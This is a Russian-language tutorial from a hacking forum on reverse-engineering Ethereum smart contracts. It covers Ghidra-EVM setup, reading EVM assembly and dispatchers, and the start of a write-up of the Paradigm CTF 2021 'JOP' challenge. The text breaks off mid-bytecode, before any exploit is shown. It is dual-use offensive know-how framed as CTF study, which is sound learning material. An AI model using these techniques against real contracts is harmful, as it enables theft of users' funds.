• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Реверсинг и эксплуатация смарт-контрактов

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Введение
Автор не претендует на истину в последней инстанции, если вы с чем-то не согласны - не стесняйтесь об этом писать. Так же стоит уточнить, что эта статья рассчитана на новичков, и если вы уже прожжёный самовар, вам здесь делять нечего. Всем остальным, приятного прочтения!

Содержание
  • Введение
    • Предисловие
    • Требуемые знания
  • Реверсинг смарт-контрактов
    • Вступление
    • Инструментарий
      • Уставнока Ghidra-EVM
      • Использование Ghidra-EVM
    • EVM Ассемблер
      • Конструктор
      • Диспетчер и основные инструкции
      • Итог
  • Эксплуатируем JOP
    • Jump Oriented Programming
    • Выбираем цели
    • Точка входа
    • Гаджеты
    • Собираем стек
    • Пишем эксплоит
    • Тестируем
  • Итог
Предисловие
Тема смарт-контрактов, и в целом вопрос безопасности DApps, как-то слабо развит на российских форумах. Хотя казалось бы, ничего сложного в смарт-контрактах нет. Я уже писал статью о эксплуатации смарт-контрактов, в рамках конкурса на exploit.in. Там эта тема людей заинтересовала. Если вы ещё не читали мою статью, прошу сюда

Требуемые знания
Статья подразумевает, что вы уже обладаете базовыми знаниями в области. Глубокого понимания того как работает память или стек EVM от вас не требуется. Но если вы не знаете как писать на solidity, или что вообще такое эти ваши смарт-контракты,

meme.jpg


то тратить символы в статье (которых и так получилось немало) на разъяснение основ, я не собираюсь. Вот для вас немного ссылок, дабы вы самостоятельно ввели себя в курс дела:
> Что такое смарт контракты

> Пришем первый контракт

> Документация Solidity

> Немного о EVM

> Топ уязвимостей смарт-контрактов

Реверсинг смарт контрактов
Если вы уже пробывали свои силы, и издевались над контрактами(в том же CaptureTheEther), но наверняка задавались вопросом: "А что же делать если контракт не подписан на etherscan, и исходный код нам не доступен?". Многие наверняка думают, что если исходный код не опубликован, то взломать контракт нельзя. Ответ на этот вопрос, такой же очевидный как и в случае с любым другим, не децентрализованным ПО - Реверсить. Этим мы сейчас и займёмся!

Вступление
При компиляции кода на Solidity, исходник превращается в байткод. С ним, в отсутствии исходного кода, нам и придётся иметь дело, дизассемблируя его и анализируя EVM ассемблер. Не пугайтесь слова ассемблер! В самом EVM ассемблере, нет ничего страшного и сложного. Он куда проще чем тот же x86 или ARM. А всё потому, что Ethereum Virtual Machine имеет стековую организацию. То есть все опрации с данными, вызовы функций и условные переходы - выполняются через стек. То как именно это работает мы разберём по ходу статьи, а пока в качестве примера возьмём этот контракт:
Код:
pragma solidity 0.5.17;

contract Storage {
    uint256 number;

    function set(uint256 num) public {
        number = num;
    }

    function retrieve() public view returns (uint256){
        return number;
    }
}
Примечание: Это немного изменённый контракт из Remix IDE. При написани статьи, я пользовался Remix. Вы вольны пользоваться чем удобнее, тем же Truffle например.

В скопилированном виде он представляет из себя следующее:
Код:
608060405234801561001057600080fd5b5060c68061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80632e64cec114603757806360fe47b1146053575b600080fd5b603d607e565b6040518082815260200191505060405180910390f35b607c60048036036020811015606757600080fd5b81019080803590602001909291905050506087565b005b60008054905090565b806000819055505056fea265627a7a7231582093a737451b0434b3945c010f908ed87f86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032

Первый вопрос который, скорее всего, возник у вас это: "Ну и куда мне это девать?". Держа этот вопрос в уме, переходим к следующему подзаголовку.

Иструментарий
Для дизассемблирования, я использую 2 интрумента: Ghidra и OSD(Online Solidity Decompiler). Безусловно это не единственные варианты, есть ещё например плагин для Binary Ninja - Ethersplay. Вам бы я советовал попробовать и то и другое, но для большинства задач хватит и онлайн декомпилера - https://ethervm.io/decompile

1.png


Здесь всё принципиально просто - Вставляем байт-код в окошко и жмём Decompile. После этого перед вами предстанет примерное следующее:

2.png


С Ghidra всё значительно сложнее.

Установка Ghidra-EVM
Примечание: У меня не получилось завести плагин в последней версии Ghidra(10.0.1), поэтому я поставил более старую(9.1.2)

Первое что нужно сделать, это поставить python >= 3.6, если он у вас ещё не уставновлен:

Теперь установим зависимости, которые требует плагин:
1 - Ghidra_bridge:
Модуль:
pip install ghidra_bridge

Cкрипт сервера:
python -m ghidra_bridge.install_server ~/ghidra_scripts

2 - Evm-cfg-builder:
pip install evm-cfg-builder

Далее сам плагин:
Скачиваем архив отсюда:

Скачиваем все скрипты из директории, они пригодятся нам для анализа:

Добавим плагин в Ghidra:

3.png

File->Install Extensions...

4.png

Жмём Add Extension и выбираем ранее скаченый c github архив.

5.png

Должно получиться нечто подобное.

Последний шаг - перезапускаем Ghidra.

Использование Ghidra-EVM
Для того чтобы проанализировать смарт-контракт, нам нужно закинуть его байт-код в файл с расширением .evm. После просто импортируем его в Ghidra, как и любой другой файл:

6.png


Inked7_LI.jpg

Примечание: Тут важно нажать No, так как для анализа мы будем использовать скаченые ранее скрипты

Далее запускаем Ghidra-Bridge:

8.png


9.png


Теперь надо проанализировать файл. Для этого открываем консоль и переходим в директорию с скаченными ранее скриптами.

10.png


Далее, запускаем два из них: evm_helper и search_codecopy, передавая в качестве аргумента путь к нашему .evm файлу:

11.png


12.png


Вот и всё, теперь можно разбирать смарт-контракт почти также, как и любое другое ПО в ghidra.

EVM Ассемблер
Чтож, вернёмся к контракту, который я приводишь выше. Для вашего удобства я приложу ассемблерный листинг с OSD:

Код:
label_0000:
    // Inputs[1] { @0005  msg.value }
    0000    60  PUSH1 0x80
    0002    60  PUSH1 0x40
    0004    52  MSTORE
    0005    34  CALLVALUE
    0006    80  DUP1
    0007    15  ISZERO
    0008    60  PUSH1 0x0f
    000A    57  *JUMPI
    // Stack delta = +1
    // Outputs[2]
    // {
    //     @0004  memory[0x40:0x60] = 0x80
    //     @0005  stack[0] = msg.value
    // }
    // Block ends with conditional jump to 0x000f, if !msg.value

label_000B:
    // Incoming jump from 0x000A, if not !msg.value
    // Inputs[1] { @000E  memory[0x00:0x00] }
    000B    60  PUSH1 0x00
    000D    80  DUP1
    000E    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @000E  revert(memory[0x00:0x00]); }
    // Block terminates

label_000F:
    // Incoming jump from 0x000A, if !msg.value
    // Inputs[1] { @0013  msg.data.length }
    000F    5B  JUMPDEST
    0010    50  POP
    0011    60  PUSH1 0x04
    0013    36  CALLDATASIZE
    0014    10  LT
    0015    60  PUSH1 0x32
    0017    57  *JUMPI
    // Stack delta = -1
    // Block ends with conditional jump to 0x0032, if msg.data.length < 0x04

label_0018:
    // Incoming jump from 0x0017, if not msg.data.length < 0x04
    // Inputs[1] { @001A  msg.data[0x00:0x20] }
    0018    60  PUSH1 0x00
    001A    35  CALLDATALOAD
    001B    60  PUSH1 0xe0
    001D    1C  SHR
    001E    80  DUP1
    001F    63  PUSH4 0x2e64cec1
    0024    14  EQ
    0025    60  PUSH1 0x37
    0027    57  *JUMPI
    // Stack delta = +1
    // Outputs[1] { @001D  stack[0] = msg.data[0x00:0x20] >> 0xe0 }
    // Block ends with conditional jump to 0x0037, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0

label_0028:
    // Incoming jump from 0x0027, if not 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
    // Inputs[1] { @0028  stack[-1] }
    0028    80  DUP1
    0029    63  PUSH4 0x60fe47b1
    002E    14  EQ
    002F    60  PUSH1 0x53
    0031    57  *JUMPI
    // Stack delta = +0
    // Block ends with conditional jump to 0x0053, if 0x60fe47b1 == stack[-1]

label_0032:
    // Incoming jump from 0x0017, if msg.data.length < 0x04
    // Incoming jump from 0x0031, if not 0x60fe47b1 == stack[-1]
    // Inputs[1] { @0036  memory[0x00:0x00] }
    0032    5B  JUMPDEST
    0033    60  PUSH1 0x00
    0035    80  DUP1
    0036    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @0036  revert(memory[0x00:0x00]); }
    // Block terminates

label_0037:
    // Incoming jump from 0x0027, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
    0037    5B  JUMPDEST
    0038    60  PUSH1 0x3d
    003A    60  PUSH1 0x7e
    003C    56  *JUMP
    // Stack delta = +1
    // Outputs[1] { @0038  stack[0] = 0x3d }
    // Block ends with call to 0x007e, returns to 0x003D

label_003D:
    // Incoming return from call to 0x007E at 0x003C
    // Inputs[4]
    // {
    //     @0040  memory[0x40:0x60]
    //     @0042  stack[-1]
    //     @004D  memory[0x40:0x60]
    //     @0052  memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]]
    // }
    003D    5B  JUMPDEST
    003E    60  PUSH1 0x40
    0040    51  MLOAD
    0041    80  DUP1
    0042    82  DUP3
    0043    81  DUP2
    0044    52  MSTORE
    0045    60  PUSH1 0x20
    0047    01  ADD
    0048    91  SWAP2
    0049    50  POP
    004A    50  POP
    004B    60  PUSH1 0x40
    004D    51  MLOAD
    004E    80  DUP1
    004F    91  SWAP2
    0050    03  SUB
    0051    90  SWAP1
    0052    F3  *RETURN
    // Stack delta = -1
    // Outputs[2]
    // {
    //     @0044  memory[memory[0x40:0x60]:memory[0x40:0x60] + 0x20] = stack[-1]
    //     @0052  return memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]];
    // }
    // Block terminates

label_0053:
    // Incoming jump from 0x0031, if 0x60fe47b1 == stack[-1]
    // Inputs[1] { @0059  msg.data.length }
    0053    5B  JUMPDEST
    0054    60  PUSH1 0x7c
    0056    60  PUSH1 0x04
    0058    80  DUP1
    0059    36  CALLDATASIZE
    005A    03  SUB
    005B    60  PUSH1 0x20
    005D    81  DUP2
    005E    10  LT
    005F    15  ISZERO
    0060    60  PUSH1 0x67
    0062    57  *JUMPI
    // Stack delta = +3
    // Outputs[3]
    // {
    //     @0054  stack[0] = 0x7c
    //     @0056  stack[1] = 0x04
    //     @005A  stack[2] = msg.data.length - 0x04
    // }
    // Block ends with conditional call to 0x0067, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)

label_0063:
    // Incoming jump from 0x0062, if not !(msg.data.length - 0x04 < 0x20)
    // Inputs[1] { @0066  memory[0x00:0x00] }
    0063    60  PUSH1 0x00
    0065    80  DUP1
    0066    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @0066  revert(memory[0x00:0x00]); }
    // Block terminates

label_0067:
    // Incoming call from 0x0062, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)
    // Inputs[3]
    // {
    //     @0068  stack[-2]
    //     @0069  stack[-1]
    //     @006D  msg.data[stack[-2]:stack[-2] + 0x20]
    // }
    0067    5B  JUMPDEST
    0068    81  DUP2
    0069    01  ADD
    006A    90  SWAP1
    006B    80  DUP1
    006C    80  DUP1
    006D    35  CALLDATALOAD
    006E    90  SWAP1
    006F    60  PUSH1 0x20
    0071    01  ADD
    0072    90  SWAP1
    0073    92  SWAP3
    0074    91  SWAP2
    0075    90  SWAP1
    0076    50  POP
    0077    50  POP
    0078    50  POP
    0079    60  PUSH1 0x87
    007B    56  *JUMP
    // Stack delta = -1
    // Outputs[1] { @0073  stack[-2] = msg.data[stack[-2]:stack[-2] + 0x20] }
    // Block ends with unconditional jump to 0x0087

label_007C:
    // Incoming return from call to 0x0067 at 0x0062
    007C    5B  JUMPDEST
    007D    00  *STOP
    // Stack delta = +0
    // Outputs[1] { @007D  stop(); }
    // Block terminates

label_007E:
    // Incoming call from 0x003C, returns to 0x003D
    // Inputs[2]
    // {
    //     @0082  storage[0x00]
    //     @0085  stack[-1]
    // }
    007E    5B  JUMPDEST
    007F    60  PUSH1 0x00
    0081    80  DUP1
    0082    54  SLOAD
    0083    90  SWAP1
    0084    50  POP
    0085    90  SWAP1
    0086    56  *JUMP
    // Stack delta = +0
    // Outputs[1] { @0085  stack[-1] = storage[0x00] }
    // Block ends with unconditional jump to stack[-1]

label_0087:
    // Incoming jump from 0x007B
    // Inputs[2]
    // {
    //     @0088  stack[-1]
    //     @0090  stack[-2]
    // }
    0087    5B  JUMPDEST
    0088    80  DUP1
    0089    60  PUSH1 0x00
    008B    81  DUP2
    008C    90  SWAP1
    008D    55  SSTORE
    008E    50  POP
    008F    50  POP
    0090    56  *JUMP
    // Stack delta = -2
    // Outputs[1] { @008D  storage[0x00] = stack[-1] }
    // Block ends with unconditional jump to stack[-2]

    0091    FE    *ASSERT
    0092    A2    LOG2
    0093    65    PUSH6 0x627a7a723158
    009A    20    SHA3
    009B    93    SWAP4
    009C    A7    A7
    009D    37    CALLDATACOPY
    009E    45    GASLIMIT
    009F    1B    SHL
    00A0    04    DIV
    00A1    34    CALLVALUE
    00A2    B3    B3
    00A3    94    SWAP5
    00A4    5C    5C
    00A5    01    ADD
    00A6    0F    0F
    00A7    90    SWAP1
    00A8    8E    DUP15
    00A9    D8    D8
    00AA    7F    PUSH32 0x86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032

Перейдём к разбору.

Конструктор
Каждый контракт после компиляции, по сути состоит из двух контрактов: Конструктора и Основной логики. Конструктор вызывается лишь однаждый - при инициализации контракта в сети, и не хранится в Blockchain эфириума. При реверсинге, анализировать конструктор нам незачем, поэтому мы его просто убираем.

Каждый контракт начинается с байтов 6080 или 6060, так что мы просто убираем всё, что идёт до следующих 6080. И в нашем случае, коструктор контракта это:
Код:
608060405234801561001057600080fd5b5060c68061001f6000396000f3fe

Или в декопилированном виде:
Код:
contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0xc6] = code[0x1f:0xe5];
        return memory[0x00:0xc6];
    }
}

Диспетчер и основные инструкции
При вызове смарт-контракта, первое что будет выполненно - это dispatcher. Он отвечает за то, чтобы направить выполнение в нужную функцию смарт-контракта.

Выполнение диспетчера начинается со следующего блока инструкций:
Код:
0000    60  PUSH1 0x80
0002    60  PUSH1 0x40
0004    52  MSTORE
0005    34  CALLVALUE
0006    80  DUP1
0007    15  ISZERO
0008    60  PUSH1 0x0f
000A    57  *JUMPI
000B    60  PUSH1 0x00
000D    80  DUP1
000E    FD  *REVERT

Первые три инструкции помещают на стек 0x80 и 0x40, а затем вызывается функция mstore. В результате получается следующее:
Код:
memory[0x40:0x60] = 0x80;
С этих инструкций начинается любой контракт.

Далее выполняется инструкция CALLVALUE - кладёт на стек полученное value, а следующая инструкция DUP1 - дублирует верхнее значение на стеке.
За ними идёт ISZERO - инструкция которая проверяется последнее значение на стеке, и если оно не равно нулю то посместит на стек 1.
Далее на стек помещается значение 0x0f, и выполняется JUMPI.

На данном этапе стек представляет собой следующее:
Код:
0 - 1
1 - 0x0f

JUMPI или Jump if, это условный переход, который принимает следующие параметры: jumpi(label, cond)
В нашем случае будет совершён переход на 0x0f, так как ISZERO ранее положил на стек 1.

Если бы в стеке лежал 0, то выполнение бы продолжилось, приведя нас к:
Код:
000B    60  PUSH1 0x00
000D    80  DUP1
000E    FD  *REVERT
Тут я думаю всё ясно, это BadBlock.

Чтож, теперь посмотрим куда же приведёт нас переход на 0x0f:
Код:
000F    5B  JUMPDEST
0010    50  POP
0011    60  PUSH1 0x04
0013    36  CALLDATASIZE
0014    10  LT
0015    60  PUSH1 0x32
0017    57  *JUMPI

Здесь на стек помещается значение 0x04, затем выполняется инструкция CALLDATASIZE - которая поместит размер calldata на стек. После идёт инструкция LT, или less then, которая сравнивает два последних значения на стеке: lt(calldata, 0x04). А дальше знакомая схема с переходом, который перейдёт на 0x0032 в случае если calldata < 0x04.

Далее так подробно разбирать инструкции я не буду, а просто оставлю вам ссылку на табличку с инструкциями EVM ассемблера:

Сейчас проще будет обяснить на примере декомпилировананного контракта.
Код:
contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value; 
        if (var0) { revert(memory[0x00:0x00]); }
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var0 = msg.data[0x00:0x20] >> 0xe0;
    
        if (var0 == 0x2e64cec1) {
            // Dispatch table entry for retrieve()
            var var1 = 0x3d;
            var1 = retrieve();
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = var1;
            var temp1 = memory[0x40:0x60];
            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
        } else if (var0 == 0x60fe47b1) {
            // Dispatch table entry for set(uint256)
            var1 = 0x7c;
            var var2 = 0x04;
            var var3 = msg.data.length - var2;
        
            if (var3 < 0x20) { revert(memory[0x00:0x00]); }
        
            set(var2, var3);
            stop();
        } else { revert(memory[0x00:0x00]); }
    }
    
    function set(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];
        storage[0x00] = arg0;
    }
    
    function retrieve() returns (var r0) { return storage[0x00]; }
}

Тут то всё и должно стать понятно. Функция main - это и есть диспетчер. Первые 4 строки функции, мы разобрали выше, в виде ассемблера. Далее идёт условное ветвление if else, которое и осуществляет диспетчеризацию: перенаправляет выполнение, сравнивая msg.data[0x00:0x20] с идетификаторами функций.

Итог
Надеюсь после прочтения, вам стало понятнее, как разбирать EVM ассемблер. Далее я не буду так подробно сосредотачиваться на каждой инструкции, я буду просто приводить листиг ассемблера. Если вам всё ещё сложно или непонятно, то перечитайте и попрактикуйтесь сами. Напиши какую-нибудь простую логику, и попробуйте её реверсить.

Эксплуатируем JOP
В качестве реального примера для эксплуатации, я решил выбрать контракт JOP с Paradigm CTF 2021. Он показался мне наиболее сложной задачей из всех на Paradigm CTF. В задании представлен, как мне показалось, довольно нетипичный пример уязвимости в смарт-контракте. Кроме того, на момент проведения CTF исходный код контракта не был доступен, а это как-раз то, что нам нужно в рамках тематики этой статьи. Ладно, хватит разглагольствовать, перейдём к разбору задания!

Обзор задачи
И так, у нас в распоряжении имеется, байткод задания и контракт Setup:

Байткод:
Код:
6080604052600436106101405760003560e01c806370a08231116100b6578063a457c2d71161006f578063a457c2d71461068a578063a9059cbb146106fb578063d0febe4c1461076c578063dd62ed3e14610776578063f2fde38b146107fb578063fc37987b1461084c57610140565b806370a08231146104ae57806379ba50971461051357806384e2b7f61461052a5780638da5cb5b1461058e57806395d89b41146105cf578063a1e89aec1461065f57610140565b806327f833501161010857806327f833501461032d578063313ce5671461036857806339509351146103965780636217229b1461040757806369f3331d146104325780636c11bcd31461047357610140565b806306fdde0314610145578063095ea7b3146101d557806318160ddd1461024657806323b872dd1461027157806325d3bcd114610302575b600080fd5b34801561015157600080fd5b5061015a610877565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e157600080fd5b5061022e600480360360408110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610919565b60405180821515815260200191505060405180910390f35b34801561025257600080fd5b5061025b610937565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610941565b60405180821515815260200191505060405180910390f35b34801561030e57600080fd5b50610317610a1a565b6040518082815260200191505060405180910390f35b34801561033957600080fd5b506103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610a20565b005b34801561037457600080fd5b5061037d610a27565b604051808260ff16815260200191505060405180910390f35b3480156103a257600080fd5b506103ef600480360360408110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3e565b60405180821515815260200191505060405180910390f35b34801561041357600080fd5b5061041c610af1565b6040518082815260200191505060405180910390f35b34801561043e57600080fd5b50610447610af7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047f57600080fd5b506104ac6004803603602081101561049657600080fd5b8101908080359060200190929190505050610b1d565b005b3480156104ba57600080fd5b506104fd600480360360208110156104d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b6040518082815260200191505060405180910390f35b34801561051f57600080fd5b50610528610b87565b005b34801561053657600080fd5b506105636004803603602081101561054d57600080fd5b8101908080359060200190929190505050610cf1565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561059a57600080fd5b506105a3610d0f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4610d35565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b50610674610dd7565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106e3600480360360408110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddd565b60405180821515815260200191505060405180910390f35b34801561070757600080fd5b506107546004803603604081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaa565b60405180821515815260200191505060405180910390f35b610774610ec8565b005b34801561078257600080fd5b506107e56004803603604081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee0565b6040518082815260200191505060405180910390f35b34801561080757600080fd5b5061084a6004803603602081101561081e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b005b34801561085857600080fd5b5061086161106e565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090f5780601f106108e45761010080835404028352916020019161090f565b820191906000526020600020905b8154815290600101906020018083116108f257829003601f168201915b5050505050905090565b600061092d61092661114f565b8484611157565b6001905092915050565b6000600254905090565b600061094e84848461134e565b610a0f8461095a61114f565b610a0a8560405180606001604052806028815260200161202560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c061114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b600190509392505050565b600a5481565b80600b5550565b6000600560009054906101000a900460ff16905090565b6000610ae7610a4b61114f565b84610ae28560016000610a5c61114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b611157565b6001905092915050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b273382611757565b610b3c336008548381610b3657fe5b0461191b565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e6572000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080600080610d00856119fc565b93509350935093509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcd5780601f10610da257610100808354040283529160200191610dcd565b820191906000526020600020905b815481529060010190602001808311610db057829003601f168201915b5050505050905090565b60095481565b6000610ea0610dea61114f565b84610e9b856040518060600160405280602581526020016120b76025913960016000610e1461114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b6001905092915050565b6000610ebe610eb761114f565b848461134e565b6001905092915050565b610ed0611bd1565b610ede336007543402611d3b565b565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7472616e736665724f776e6572736869702f6e6f742d6f776e6572000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600081116110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f76616c69646174655075726368617365496d706c2f6e6f2d657468657200000081525060200191505060405180910390fd5b6802b5e3af16b188000081111561114c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f996021913960400191505060405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120936024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611263576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fba6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061206e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f546023913960400191505060405180910390fd5b611465838383611f02565b6114d081604051806060016040528060268152602001611fdc602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611563816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611681578082015181840152602081019050611666565b50505050905090810190601f1680156116ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061204d6021913960400191505060405180910390fd5b6117e982600083611f02565b61185481604051806060016040528060228152602001611f77602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ab81600254611f0790919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d806000811461197b576040519150601f19603f3d011682016040523d82523d6000602084013e611980565b606091505b50509050806119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73656e6445746865722f6661696c65642d746f2d73656e64000000000000000081525060200191505060405180910390fd5b505050565b600080600080600080600080883593506020890135925060408901359150606089013590506000801b8311611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f722d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b6000801b8211611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f732d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b7f7ffffffffffffffffffffffffff